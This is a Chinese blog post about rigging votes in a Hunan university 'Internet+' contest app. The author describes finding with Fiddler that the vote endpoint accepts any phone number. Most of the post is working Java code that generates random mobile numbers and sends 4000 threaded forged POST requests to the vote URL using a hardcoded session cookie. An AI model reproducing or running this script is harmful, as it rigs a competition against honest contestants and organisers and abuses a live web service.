刷票

来源:互联网 发布:护肤品套装知乎 编辑:程序博客网 时间:2024/05/29 18:48

近日湖南各大学高校举行互联网+海选赛,比赛方要求下载他们的app(变相推广,个人认为)给参赛选手投票。

查询票数:用的是嵌套html的开发模式,一直点击加载更多,然后然返回键,发现是回到了上一个查看界面,也就是我们点了多少个加载更多,就要点就多少个返回。。。

投票:用fiddler抓取手机投票请求信息,发现只要改变电话号码以及比赛选手的信息,就可以给参赛选手。

比赛期间有版本的更新,然并卵。。。问题依然没有解决。模拟请求就可以投票了,还有一个就是:我估计他们就是用手机号码做用户id,还行吧至少没有用1,2,3...这样子做标识,想去请求个人中心的信息也就有点难度了,然并卵。。。

总的来说:做得一手好软件。。。发现我也可以做哦,,呵呵

import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.OutputStream;import java.net.HttpURLConnection;import java.net.URL;import java.util.ArrayList;import java.util.List;import java.util.Random;public class Vote{String path = "http://www.xxxxxxx.cn/hnvoteagain/vote!addVote";String cookieString = "SESSIONID=返回的cookie";// 比赛者信息 NUMBER_ID是要替换的手机号码String userInfo = "uid=NUMBER_ID&tickid=&phone=NUMBER_ID&后面不变";List listUser = new ArrayList();/** * 添加比赛者post请求体信息 */public void addData(){listUser.add(userInfo);}public static void main(String[] args) throws InterruptedException{final Vote vote = new Vote();// 添加数据vote.addData();// 投票数int voteNumber = 4000;for (int i = 0; i < voteNumber; i++){new Thread() {public void run(){vote.vote();// 投};}.start();}}/** * 投票 */public void vote(){try{String numberString = genNumber();for (int i = 0; i < listUser.size(); i++){System.out.println("numberString:" + numberString);// 请求String result = postRequest(numberString, listUser.get(i).toString());System.out.println(numberString + ":" + result);}} catch (Exception e){e.printStackTrace();}}/** * 单次请求 *  * @param number * @param user * @return */public String postRequest(String number, String user){String sbString = user;sbString = sbString.replaceAll("NUMBER_ID", number);String msgString = "";try{byte[] entitydata = sbString.toString().getBytes();//URL url = new URL(path);HttpURLConnection conn = (HttpURLConnection) url.openConnection();conn.setRequestMethod("POST");conn.setConnectTimeout(1000 * 5);conn.setDoOutput(true);//// Content-Type: application/x-www-form-urlencoded// Content-Length: 38conn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");conn.setRequestProperty("Content-Length",String.valueOf(entitydata.length));conn.addRequestProperty("Cookie","JSESSIONID=898A43BC174FB35819FDD24B58F53A47");OutputStream outStream = conn.getOutputStream();outStream.write(entitydata);outStream.flush();outStream.close();if (conn.getResponseCode() == 200){InputStream is = conn.getInputStream();BufferedReader br = new BufferedReader(new InputStreamReader(is));int length = 0;String lineString = "";while ((lineString = br.readLine()) != null){// System.out.println(lineString); //打印}br.close();return msgString;}return "服务器 error";// 服务器 error} catch (IOException e){e.printStackTrace();}return "服务器 error";// 服务器 error}int[] prex = { 13, 15, 18, 17 }; // 前缀/** * 生成号码 *  * @return 号码 */public String genNumber(){StringBuffer sb = new StringBuffer();Random randomNumber = new Random();String prexNumberString = prex[randomNumber.nextInt(prex.length)] + "";sb.append(prexNumberString);int nextInt = 0;for (int i = prexNumberString.length(); i < 11; i++){Random random = new Random();nextInt = random.nextInt(10);sb.append(nextInt);}return sb.toString();}}

无别的意思,希望给学软件的一条活路,别什么专业的都往这一行来.。。。给条活路orz

0 0